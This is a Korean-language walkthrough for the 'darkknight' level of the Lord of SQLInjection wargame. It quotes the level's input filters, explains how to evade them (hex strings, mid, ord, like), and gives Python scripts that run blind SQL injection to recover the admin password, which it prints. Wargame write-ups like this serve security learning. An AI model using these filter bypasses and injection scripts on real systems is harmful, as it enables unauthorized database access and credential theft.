본문 바로가기

#WarGame/Lord of SQLInjection

Lord of SQLInjection 12번 darkknight

반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

Lord of SQLInjection 12번 darkknight

 

 

 

 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 

 

no 필터링은 prob _ . ' substr ascii =  이렇게 되어있다.

 

싱글쿼터는 goblin 문제처럼 hex값을 사용하면 된다.

substr은 mid로 우회할 수 있고, ascii는 ord, =은 like로 우회가 가능하다.

 

 

 

1) pw 길이 구하기

 

import requests
import re

url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies={"PHPSESSID":"세션"} 

for i in range(0,10):
    pay=f"?no=1 or length(pw)like {i}" #pw 길이 비교
    res=requests.get(url+pay,cookies=cookies)
    
    find = re.findall("Hello admin", res.text) # Hello admin 문자열 매칭
    
    if find:
        print("length:",i)
        length=i
        break

length: 8

 

 

 

 

?no=1||%20length(pw)%20like%208

 id='guest' and pw='' and no=1|| length(pw) like 8

no 값은 모르며 구하지 않아도 되는 값이다.

임의의 숫자로 1을 입력하고 뒤에 length로 길이를 구하면 8글자일때 Hello admin이 나온다.

 

 

 

 

 

2) pw 구하기

import requests
import re

url="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookies={"PHPSESSID":"세션"} 

pw=""
for i in range(1,9):
    for j in range(32,127):
        pay=f"?no=1 or id like 0x61646d696e and ord(mid(pw,{i},1)) like {j}"
        res=requests.get(url+pay,cookies=cookies)
        find = re.findall("Hello admin", res.text)
    
        if find:
            pw+=chr(j)
            break
print("pw=",pw)

pw=0b70ea1f

 

기존 코드에서 id는 hex값으로 바꾸고 ord와 mid를 사용하면 pw를 쉽게 구할 수 있다.

 

 

 

 

 

반응형